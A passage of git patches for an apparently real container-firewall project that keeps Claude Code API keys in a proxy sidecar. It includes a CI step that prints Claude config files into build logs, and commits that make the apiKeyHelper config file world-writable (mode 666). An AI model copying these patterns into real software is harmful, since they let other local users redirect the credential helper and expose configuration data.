✨\",\"runFailure\":\"💫 **TO BE CONTINUED...** [{workflow_name}]({run_url}) {status}! Our hero faces unexpected challenges...\"}" @@ -1004,7 +1023,7 @@ jobs: await main(); - name: Handle No-Op Message id: handle_noop_message - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: ${{ env.GH_AW_AGENT_OUTPUT }} GH_AW_WORKFLOW_NAME: "Smoke Claude" @@ -1021,7 +1040,7 @@ jobs: await main(); - name: Update reaction comment with completion status id: conclusion - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: ${{ env.GH_AW_AGENT_OUTPUT }} GH_AW_COMMENT_ID: ${{ needs.activation.outputs.comment_id }} @@ -1049,7 +1068,7 @@ jobs: success: ${{ steps.parse_results.outputs.success }} steps: - name: Setup Scripts - uses: github/gh-aw/actions/setup@7a970851c1090295e55a16e549c61ba1ce227f16 # v0.42.17 + uses: github/gh-aw/actions/setup@v0.43.23 with: destination: /opt/gh-aw/actions - name: Download agent artifacts @@ -1070,7 +1089,7 @@ jobs: run: | echo "Agent output-types: $AGENT_OUTPUT_TYPES" - name: Setup threat detection - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: WORKFLOW_NAME: "Smoke Claude" WORKFLOW_DESCRIPTION: "Smoke test workflow that validates Claude engine functionality by reviewing recent PRs twice daily" @@ -1092,12 +1111,12 @@ jobs: CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} - name: Setup Node.js - uses: actions/setup-node@395ad3262231945c25e8478fd5baf05154b1d79f # v6.1.0 + uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 with: node-version: '24' package-manager-cache: false - name: Install Claude Code CLI - run: npm install -g --silent @anthropic-ai/claude-code@2.1.34 + run: npm install -g --silent @anthropic-ai/claude-code@2.1.39 - name: Execute Claude Code CLI id: agentic_execution # Allowed tools (sorted): @@ -1139,7 +1158,7 @@ jobs: MCP_TOOL_TIMEOUT: 60000 - name: Parse threat detection results id: parse_results - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: script: | const { setupGlobals } = require('/opt/gh-aw/actions/setup_globals.cjs'); @@ -1178,7 +1197,7 @@ jobs: process_safe_outputs_temporary_id_map: ${{ steps.process_safe_outputs.outputs.temporary_id_map }} steps: - name: Setup Scripts - uses: github/gh-aw/actions/setup@7a970851c1090295e55a16e549c61ba1ce227f16 # v0.42.17 + uses: github/gh-aw/actions/setup@v0.43.23 with: destination: /opt/gh-aw/actions - name: Download agent output artifact @@ -1194,7 +1213,7 @@ jobs: echo "GH_AW_AGENT_OUTPUT=/tmp/gh-aw/safeoutputs/agent_output.json" >> "$GITHUB_ENV" - name: Process Safe Outputs id: process_safe_outputs - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: GH_AW_AGENT_OUTPUT: ${{ env.GH_AW_AGENT_OUTPUT }} GH_AW_SAFE_OUTPUTS_HANDLER_CONFIG: "{\"add_comment\":{\"hide_older_comments\":true,\"max\":1},\"add_labels\":{\"allowed\":[\"smoke-claude\"]},\"missing_data\":{},\"missing_tool\":{}}" @@ -1215,7 +1234,7 @@ jobs: permissions: {} steps: - name: Setup Scripts - uses: github/gh-aw/actions/setup@7a970851c1090295e55a16e549c61ba1ce227f16 # v0.42.17 + uses: github/gh-aw/actions/setup@v0.43.23 with: destination: /opt/gh-aw/actions - name: Download cache-memory artifact (default) @@ -1227,6 +1246,6 @@ jobs: - name: Save cache-memory to cache (default) uses: actions/cache/save@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 with: - key: memory-${{ github.workflow }}-${{ github.run_id }} + key: memory-${{ env.GH_AW_WORKFLOW_ID_SANITIZED }}-${{ github.run_id }} path: /tmp/gh-aw/cache-memory diff --git a/.github/workflows/smoke-claude.md b/.github/workflows/smoke-claude.md index 2320fc406..0fb1fa90e 100644 --- a/.github/workflows/smoke-claude.md +++ b/.github/workflows/smoke-claude.md @@ -49,6 +49,23 @@ safe-outputs: run-failure: "💫 **TO BE CONTINUED...** [{workflow_name}]({run_url}) {status}! Our hero faces unexpected challenges..." timeout-minutes: 10 post-steps: + - name: Show final Claude Code config + if: always() + run: | + echo "=== Final Claude Code Config ===" + if [ -f ~/.claude/config.json ]; then + echo "File: ~/.claude/config.json" + cat ~/.claude/config.json + else + echo "~/.claude/config.json not found" + fi + if [ -f ~/.claude.json ]; then + echo "" + echo "File: ~/.claude.json" + cat ~/.claude.json + else + echo "~/.claude.json not found" + fi - name: Validate safe outputs were invoked run: | OUTPUTS_FILE="${GH_AW_SAFE_OUTPUTS:-/opt/gh-aw/safeoutputs/outputs.jsonl}" From 886168a74fe2c2c853bf7689da0176c067a60ab5 Mon Sep 17 00:00:00 2001 From: Claude <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 09:31:52 -0800 Subject: [PATCH 17/29] fix: set CLAUDE_CODE_API_KEY_HELPER env var for credential isolation (#851) * Initial plan * fix: set CLAUDE_CODE_API_KEY_HELPER env var for credential isolation When api-proxy is enabled with an Anthropic key, set the CLAUDE_CODE_API_KEY_HELPER environment variable to point to the get-claude-key.sh script. This ensures Claude Code CLI properly uses the API key helper for credential isolation. Previously, only ANTHROPIC_BASE_URL was set, but Claude Code requires either a config file with apiKeyHelper or the environment variable to actually use the helper script. Without this, Claude Code would not read the config and authentication would fail. This fix: - Sets CLAUDE_CODE_API_KEY_HELPER=/usr/local/bin/get-claude-key.sh when api-proxy is enabled with Anthropic key - Adds comprehensive tests for the new environment variable - Updates type documentation to reflect the new env var Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --------- Co-authored-by: anthropic-code-agent[bot] <242468646+Claude@users.noreply.github.com> Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- src/docker-manager.test.ts | 19 +++++++++++++++++++ src/docker-manager.ts | 5 +++++ src/types.ts | 1 + 3 files changed, 25 insertions(+) diff --git a/src/docker-manager.test.ts b/src/docker-manager.test.ts index a9f6b2b72..9f2be636d 100644 --- a/src/docker-manager.test.ts +++ b/src/docker-manager.test.ts @@ -1568,6 +1568,7 @@ describe('docker-manager', () => { const agent = result.services.agent; const env = agent.environment as Record; expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); it('should set both BASE_URL variables when both keys are provided', () => { @@ -1577,6 +1578,7 @@ describe('docker-manager', () => { const env = agent.environment as Record; expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); it('should not set OPENAI_BASE_URL in agent when only Anthropic key is provided', () => { @@ -1586,6 +1588,7 @@ describe('docker-manager', () => { const env = agent.environment as Record; expect(env.OPENAI_BASE_URL).toBeUndefined(); expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); }); it('should not set ANTHROPIC_BASE_URL in agent when only OpenAI key is provided', () => { @@ -1614,6 +1617,22 @@ describe('docker-manager', () => { expect(env.no_proxy).toContain('172.30.0.30'); }); + it('should set CLAUDE_CODE_API_KEY_HELPER when Anthropic key is provided', () => { + const configWithProxy = { ...mockConfig, enableApiProxy: true, anthropicApiKey: 'sk-ant-test-key' }; + const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); + const agent = result.services.agent; + const env = agent.environment as Record; + expect(env.CLAUDE_CODE_API_KEY_HELPER).toBe('/usr/local/bin/get-claude-key.sh'); + }); + + it('should not set CLAUDE_CODE_API_KEY_HELPER when only OpenAI key is provided', () => { + const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-test-key' }; + const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); + const agent = result.services.agent; + const env = agent.environment as Record; + expect(env.CLAUDE_CODE_API_KEY_HELPER).toBeUndefined(); + }); + it('should not leak ANTHROPIC_API_KEY to agent when api-proxy is enabled', () => { // Simulate the key being in process.env (as it would be in real usage) const origKey = process.env.ANTHROPIC_API_KEY; diff --git a/src/docker-manager.ts b/src/docker-manager.ts index 24c164fe0..6494a8177 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -997,6 +997,11 @@ export function generateDockerCompose( if (config.anthropicApiKey) { environment.ANTHROPIC_BASE_URL = `http://${networkConfig.proxyIp}:10001`; logger.debug(`Anthropic API will be proxied through sidecar at http://${networkConfig.proxyIp}:10001`); + + // Set API key helper for Claude Code CLI to use credential isolation + // The helper script returns a placeholder key; real authentication happens via ANTHROPIC_BASE_URL + environment.CLAUDE_CODE_API_KEY_HELPER = '/usr/local/bin/get-claude-key.sh'; + logger.debug('Claude Code API key helper configured: /usr/local/bin/get-claude-key.sh'); } logger.info('API proxy sidecar enabled - API keys will be held securely in sidecar container'); diff --git a/src/types.ts b/src/types.ts index bf73cbbc9..1b9782c46 100644 --- a/src/types.ts +++ b/src/types.ts @@ -398,6 +398,7 @@ export interface WrapperConfig { * variables are set in the agent container: * - OPENAI_BASE_URL=http://api-proxy:10000 (set when OPENAI_API_KEY is provided) * - ANTHROPIC_BASE_URL=http://api-proxy:10001 (set when ANTHROPIC_API_KEY is provided) + * - CLAUDE_CODE_API_KEY_HELPER=/usr/local/bin/get-claude-key.sh (set when ANTHROPIC_API_KEY is provided) * * API keys are passed via environment variables: * - OPENAI_API_KEY - Optional OpenAI API key for Codex From 055fee39129d11ba579cfffe60200fb5fd251255 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 17:35:45 +0000 Subject: [PATCH 18/29] fix: change claude code config path to ~/.claude.json Changed the config file path from ~/.claude/config.json to ~/.claude.json in both the entrypoint validation and the smoke-claude post-step diagnostic. This aligns with where Claude Code actually writes its config file (as shown in the debug logs). The post-step now checks ~/.claude.json first and shows ~/.claude/config.json as legacy for backwards compatibility. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- .github/workflows/smoke-claude.lock.yml | 4 ++-- .github/workflows/smoke-claude.md | 14 +++++++------- containers/agent/entrypoint.sh | 2 +- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index 131ea90cd..f264afa62 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -27,7 +27,7 @@ # Imports: # - shared/mcp-pagination.md # -# frontmatter-hash: 5aa2e5c0484ef2b480a130f0879df7d9dbb43087d50d42b4a9edebaea63365fd +# frontmatter-hash: cddd89980f18349e0ff1b8597c2c85aea8464bed2786100df83cb9520099aa3e name: "Smoke Claude" "on": @@ -922,7 +922,7 @@ jobs: path: /tmp/gh-aw/cache-memory - if: always() name: Show final Claude Code config - run: "echo \"=== Final Claude Code Config ===\"\nif [ -f ~/.claude/config.json ]; then\n echo \"File: ~/.claude/config.json\"\n cat ~/.claude/config.json\nelse\n echo \"~/.claude/config.json not found\"\nfi\nif [ -f ~/.claude.json ]; then\n echo \"\"\n echo \"File: ~/.claude.json\"\n cat ~/.claude.json\nelse\n echo \"~/.claude.json not found\"\nfi\n" + run: "echo \"=== Final Claude Code Config ===\"\nif [ -f ~/.claude.json ]; then\n echo \"File: ~/.claude.json\"\n cat ~/.claude.json\nelse\n echo \"~/.claude.json not found\"\nfi\nif [ -f ~/.claude/config.json ]; then\n echo \"\"\n echo \"File: ~/.claude/config.json (legacy)\"\n cat ~/.claude/config.json\nelse\n echo \"~/.claude/config.json not found\"\nfi\n" - name: Validate safe outputs were invoked run: "OUTPUTS_FILE=\"${GH_AW_SAFE_OUTPUTS:-/opt/gh-aw/safeoutputs/outputs.jsonl}\"\nif [ ! -s \"$OUTPUTS_FILE\" ]; then\n echo \"::error::No safe outputs were invoked. Smoke tests require the agent to call safe output tools.\"\n exit 1\nfi\necho \"Safe output entries found: $(wc -l < \"$OUTPUTS_FILE\")\"\nif [ \"$GITHUB_EVENT_NAME\" = \"pull_request\" ]; then\n if ! grep -q '\"add_comment\"' \"$OUTPUTS_FILE\"; then\n echo \"::error::Agent did not call add_comment on a pull_request trigger.\"\n exit 1\n fi\n echo \"add_comment verified for PR trigger\"\nfi\necho \"Safe output validation passed\"" diff --git a/.github/workflows/smoke-claude.md b/.github/workflows/smoke-claude.md index 0fb1fa90e..b5388c987 100644 --- a/.github/workflows/smoke-claude.md +++ b/.github/workflows/smoke-claude.md @@ -53,19 +53,19 @@ post-steps: if: always() run: | echo "=== Final Claude Code Config ===" - if [ -f ~/.claude/config.json ]; then - echo "File: ~/.claude/config.json" - cat ~/.claude/config.json - else - echo "~/.claude/config.json not found" - fi if [ -f ~/.claude.json ]; then - echo "" echo "File: ~/.claude.json" cat ~/.claude.json else echo "~/.claude.json not found" fi + if [ -f ~/.claude/config.json ]; then + echo "" + echo "File: ~/.claude/config.json (legacy)" + cat ~/.claude/config.json + else + echo "~/.claude/config.json not found" + fi - name: Validate safe outputs were invoked run: | OUTPUTS_FILE="${GH_AW_SAFE_OUTPUTS:-/opt/gh-aw/safeoutputs/outputs.jsonl}" diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 2fdc00687..e7b045383 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -127,7 +127,7 @@ if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then # Check if config file exists - if it does, validate it # If it doesn't exist yet, skip validation (it may be created by the user command) - CONFIG_FILE="$HOME/.claude/config.json" + CONFIG_FILE="$HOME/.claude.json" if [ -f "$CONFIG_FILE" ]; then echo "[entrypoint] Validating existing Claude Code config file..." From 7c1e377156c169d803c25161ae31cf76887f48fd Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 17:48:35 +0000 Subject: [PATCH 19/29] fix: create ~/.claude.json with apiKeyHelper before claude starts Changed entrypoint.sh to CREATE the ~/.claude.json config file with apiKeyHelper configuration if it doesn't exist, rather than just skipping validation. This fixes authentication errors where Claude Code couldn't find the apiKeyHelper because the config file didn't exist yet when Claude Code needed to authenticate. The file is now created during container initialization, before the user command runs. The file is created with mode 600 for security and contains: {"apiKeyHelper":"/usr/local/bin/get-claude-key.sh"} Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/entrypoint.sh | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index e7b045383..4a7d24454 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -119,17 +119,15 @@ fi # If health check fails, the script exits with non-zero code and prevents agent from running /usr/local/bin/api-proxy-health-check.sh || exit 1 -# Validate Claude Code API key helper configuration +# Configure Claude Code API key helper # This ensures the apiKeyHelper is properly configured in the config file -# If validation fails, exit before running the agent to prevent using wrong credentials +# The config file must exist before Claude Code starts for authentication to work if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then echo "[entrypoint] Claude Code API key helper configured: $CLAUDE_CODE_API_KEY_HELPER" - # Check if config file exists - if it does, validate it - # If it doesn't exist yet, skip validation (it may be created by the user command) CONFIG_FILE="$HOME/.claude.json" if [ -f "$CONFIG_FILE" ]; then - echo "[entrypoint] Validating existing Claude Code config file..." + echo "[entrypoint] Claude Code config file exists, validating..." # Check if apiKeyHelper is present in config file if ! grep -q '"apiKeyHelper"' "$CONFIG_FILE"; then @@ -151,8 +149,10 @@ if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then echo "[entrypoint] ✓ Claude Code API key helper validated: $CLAUDE_CODE_API_KEY_HELPER" else - echo "[entrypoint] Config file not found yet - will be created by user command" - echo "[entrypoint] Environment variable set: CLAUDE_CODE_API_KEY_HELPER=$CLAUDE_CODE_API_KEY_HELPER" + echo "[entrypoint] Creating Claude Code config file with apiKeyHelper..." + echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE" + chmod 600 "$CONFIG_FILE" + echo "[entrypoint] ✓ Created $CONFIG_FILE with apiKeyHelper: $CLAUDE_CODE_API_KEY_HELPER" fi fi From 2144f8642041ebfdf8322050bc28881e4552ef77 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 17:59:21 +0000 Subject: [PATCH 20/29] fix: mount ~/.claude.json for chroot mode accessibility Fixed authentication error in chroot mode where Claude Code couldn't find ~/.claude.json because it was created in the container filesystem instead of the mounted /host path. Changes: - Mount ~/.claude.json file explicitly in docker-manager (create if missing) - Update entrypoint to write to /host$HOME/.claude.json in chroot mode - File now accessible both before and after chroot transition This fixes the ENOENT error: "no such file or directory, lstat '/home/runner/.claude.json'" Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/entrypoint.sh | 9 ++++++++- src/docker-manager.ts | 16 ++++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 4a7d24454..f382c0326 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -122,10 +122,17 @@ fi # Configure Claude Code API key helper # This ensures the apiKeyHelper is properly configured in the config file # The config file must exist before Claude Code starts for authentication to work +# In chroot mode, we write to /host$HOME/.claude.json so it's accessible after chroot if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then echo "[entrypoint] Claude Code API key helper configured: $CLAUDE_CODE_API_KEY_HELPER" - CONFIG_FILE="$HOME/.claude.json" + # In chroot mode, write to /host path so file is accessible after chroot transition + if [ "${AWF_CHROOT_ENABLED}" = "true" ]; then + CONFIG_FILE="/host$HOME/.claude.json" + else + CONFIG_FILE="$HOME/.claude.json" + fi + if [ -f "$CONFIG_FILE" ]; then echo "[entrypoint] Claude Code config file exists, validating..." diff --git a/src/docker-manager.ts b/src/docker-manager.ts index 6494a8177..3f1766011 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -549,6 +549,22 @@ export function generateDockerCompose( // This is safe as ~/.claude contains only Claude-specific state, not credentials agentVolumes.push(`${effectiveHome}/.claude:/host${effectiveHome}/.claude:rw`); + // Mount ~/.claude.json for Claude Code authentication configuration + // This file must be accessible in chroot mode for Claude Code to find apiKeyHelper + // We create the file if it doesn't exist, then mount it + const claudeJsonPath = path.join(effectiveHome, '.claude.json'); + if (!fs.existsSync(claudeJsonPath)) { + // Create parent directory if needed + const parentDir = path.dirname(claudeJsonPath); + if (!fs.existsSync(parentDir)) { + fs.mkdirSync(parentDir, { recursive: true, mode: 0o755 }); + } + // Create empty file that will be populated by entrypoint + fs.writeFileSync(claudeJsonPath, '{}', { mode: 0o600 }); + logger.debug(`Created ${claudeJsonPath} for chroot mounting`); + } + agentVolumes.push(`${claudeJsonPath}:/host${claudeJsonPath}:rw`); + // Mount ~/.cargo and ~/.rustup for Rust toolchain access // On GitHub Actions runners, Rust is installed via rustup at $HOME/.cargo and $HOME/.rustup // ~/.cargo must be rw because the credential-hiding code mounts /dev/null over From b15ce3af057b7ee60bb9d26c5274af5ef193fc0a Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 18:06:24 +0000 Subject: [PATCH 21/29] fix: handle empty ~/.claude.json created by docker-manager MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The entrypoint validation was failing when docker-manager created an empty {} file for mounting. Now the entrypoint handles three cases: 1. File exists with apiKeyHelper → validate it matches 2. File exists without apiKeyHelper → write it (empty {} from mount) 3. File doesn't exist → create it with apiKeyHelper This fixes the validation error where entrypoint rejected the empty file instead of populating it with the apiKeyHelper configuration. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/entrypoint.sh | 39 +++++++++++++++++----------------- 1 file changed, 19 insertions(+), 20 deletions(-) diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index f382c0326..7db07ea95 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -134,28 +134,27 @@ if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then fi if [ -f "$CONFIG_FILE" ]; then - echo "[entrypoint] Claude Code config file exists, validating..." - - # Check if apiKeyHelper is present in config file - if ! grep -q '"apiKeyHelper"' "$CONFIG_FILE"; then - echo "[entrypoint][ERROR] apiKeyHelper not found in Claude Code config file" - echo "[entrypoint][ERROR] Expected: {\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" - echo "[entrypoint][ERROR] Actual config:" - cat "$CONFIG_FILE" >&2 - exit 1 - fi - - # Verify the value matches the environment variable - CONFIGURED_HELPER=$(grep -o '"apiKeyHelper":"[^"]*"' "$CONFIG_FILE" | cut -d'"' -f4) - if [ "$CONFIGURED_HELPER" != "$CLAUDE_CODE_API_KEY_HELPER" ]; then - echo "[entrypoint][ERROR] apiKeyHelper mismatch:" - echo "[entrypoint][ERROR] Environment variable: $CLAUDE_CODE_API_KEY_HELPER" - echo "[entrypoint][ERROR] Config file value: $CONFIGURED_HELPER" - exit 1 + # File exists - check if it has apiKeyHelper + if grep -q '"apiKeyHelper"' "$CONFIG_FILE"; then + # apiKeyHelper exists - validate it matches the environment variable + echo "[entrypoint] Claude Code config file exists with apiKeyHelper, validating..." + CONFIGURED_HELPER=$(grep -o '"apiKeyHelper":"[^"]*"' "$CONFIG_FILE" | cut -d'"' -f4) + if [ "$CONFIGURED_HELPER" != "$CLAUDE_CODE_API_KEY_HELPER" ]; then + echo "[entrypoint][ERROR] apiKeyHelper mismatch:" + echo "[entrypoint][ERROR] Environment variable: $CLAUDE_CODE_API_KEY_HELPER" + echo "[entrypoint][ERROR] Config file value: $CONFIGURED_HELPER" + exit 1 + fi + echo "[entrypoint] ✓ Claude Code API key helper validated: $CLAUDE_CODE_API_KEY_HELPER" + else + # File exists but no apiKeyHelper - write it (overwrites empty {} created by docker-manager) + echo "[entrypoint] Claude Code config file exists but missing apiKeyHelper, writing..." + echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE" + chmod 600 "$CONFIG_FILE" + echo "[entrypoint] ✓ Wrote apiKeyHelper to $CONFIG_FILE" fi - - echo "[entrypoint] ✓ Claude Code API key helper validated: $CLAUDE_CODE_API_KEY_HELPER" else + # File doesn't exist - create it echo "[entrypoint] Creating Claude Code config file with apiKeyHelper..." echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE" chmod 600 "$CONFIG_FILE" From a9ea1c0e0cad3e64b867440a40b6f5f84c714663 Mon Sep 17 00:00:00 2001 From: Claude <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 10:25:49 -0800 Subject: [PATCH 22/29] fix: use 0o666 mode for ~/.claude.json to fix permissions (#852) * Initial plan * fix: use 0o666 mode for ~/.claude.json to fix permissions Container root writes to this file, changing ownership. Using 0o666 ensures host user can still read it after modifications. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --------- Co-authored-by: anthropic-code-agent[bot] <242468646+Claude@users.noreply.github.com> Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- src/docker-manager.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/docker-manager.ts b/src/docker-manager.ts index 3f1766011..d8d48a028 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -560,7 +560,9 @@ export function generateDockerCompose( fs.mkdirSync(parentDir, { recursive: true, mode: 0o755 }); } // Create empty file that will be populated by entrypoint - fs.writeFileSync(claudeJsonPath, '{}', { mode: 0o600 }); + // Use 0o666 mode to allow container root to write and host user to read + // The entrypoint script runs as root and modifies this file + fs.writeFileSync(claudeJsonPath, '{}', { mode: 0o666 }); logger.debug(`Created ${claudeJsonPath} for chroot mounting`); } agentVolumes.push(`${claudeJsonPath}:/host${claudeJsonPath}:rw`); From 7a05809b7d81a485f8d61a6aef2a22d5044b6743 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 18:33:51 +0000 Subject: [PATCH 23/29] fix: use 666 permissions for ~/.claude.json to allow host user writes Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/entrypoint.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 7db07ea95..eab7a8457 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -150,14 +150,14 @@ if [ -n "$CLAUDE_CODE_API_KEY_HELPER" ]; then # File exists but no apiKeyHelper - write it (overwrites empty {} created by docker-manager) echo "[entrypoint] Claude Code config file exists but missing apiKeyHelper, writing..." echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE" - chmod 600 "$CONFIG_FILE" + chmod 666 "$CONFIG_FILE" echo "[entrypoint] ✓ Wrote apiKeyHelper to $CONFIG_FILE" fi else # File doesn't exist - create it echo "[entrypoint] Creating Claude Code config file with apiKeyHelper..." echo "{\"apiKeyHelper\":\"$CLAUDE_CODE_API_KEY_HELPER\"}" > "$CONFIG_FILE" - chmod 600 "$CONFIG_FILE" + chmod 666 "$CONFIG_FILE" echo "[entrypoint] ✓ Created $CONFIG_FILE with apiKeyHelper: $CLAUDE_CODE_API_KEY_HELPER" fi fi From 0d8cd341e507cc74c33f0a28fa3a425629ec312d Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 19:24:13 +0000 Subject: [PATCH 24/29] fix(ci): add api-proxy logs to smoke-claude artifacts Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- .github/workflows/smoke-claude.lock.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index f264afa62..e60b249a3 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -937,6 +937,7 @@ jobs: /tmp/gh-aw/aw_info.json /tmp/gh-aw/mcp-logs/ /tmp/gh-aw/sandbox/firewall/logs/ + /tmp/gh-aw/sandbox/firewall/api-proxy-logs/ /tmp/gh-aw/agent-stdio.log /tmp/gh-aw/agent/ if-no-files-found: ignore From 2fa56270527307ca9d901e703f314030d3527ae3 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 19:28:44 +0000 Subject: [PATCH 25/29] feat: add ANTHROPIC_AUTH_TOKEN placeholder to agent environment This commit adds ANTHROPIC_AUTH_TOKEN with a placeholder value to the agent environment when api-proxy is enabled with Anthropic credentials. This ensures Claude Code CLI compatibility while maintaining credential isolation (real auth happens via ANTHROPIC_BASE_URL). Changes: - src/docker-manager.ts: Set ANTHROPIC_AUTH_TOKEN to placeholder when anthropicApiKey is configured with api-proxy - src/docker-manager.test.ts: Updated all Anthropic test cases to verify ANTHROPIC_AUTH_TOKEN is set to placeholder value - containers/agent/api-proxy-health-check.sh: Added validation that ANTHROPIC_AUTH_TOKEN (if present) is the placeholder value, not a real token - tests/integration/api-proxy.test.ts: Added integration test to verify ANTHROPIC_AUTH_TOKEN is set to placeholder in agent container Security model: - Real ANTHROPIC_API_KEY stays in api-proxy container only - Agent gets placeholder ANTHROPIC_AUTH_TOKEN for CLI compatibility - Agent gets ANTHROPIC_BASE_URL pointing to api-proxy (http://172.30.0.30:10001) - Real authentication happens when api-proxy injects the real key - Health checks verify no real credentials leak to agent environment Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/api-proxy-health-check.sh | 10 ++++++++++ package-lock.json | 2 +- package.json | 12 ++++++------ src/docker-manager.test.ts | 7 +++++++ src/docker-manager.ts | 5 +++++ tests/integration/api-proxy.test.ts | 19 +++++++++++++++++++ 6 files changed, 48 insertions(+), 7 deletions(-) diff --git a/containers/agent/api-proxy-health-check.sh b/containers/agent/api-proxy-health-check.sh index b76c9a186..b6c4e4e9f 100755 --- a/containers/agent/api-proxy-health-check.sh +++ b/containers/agent/api-proxy-health-check.sh @@ -31,6 +31,16 @@ if [ -n "$ANTHROPIC_BASE_URL" ]; then fi echo "[health-check] ✓ Anthropic credentials NOT in agent environment (correct)" + # Verify ANTHROPIC_AUTH_TOKEN is placeholder (if present) + if [ -n 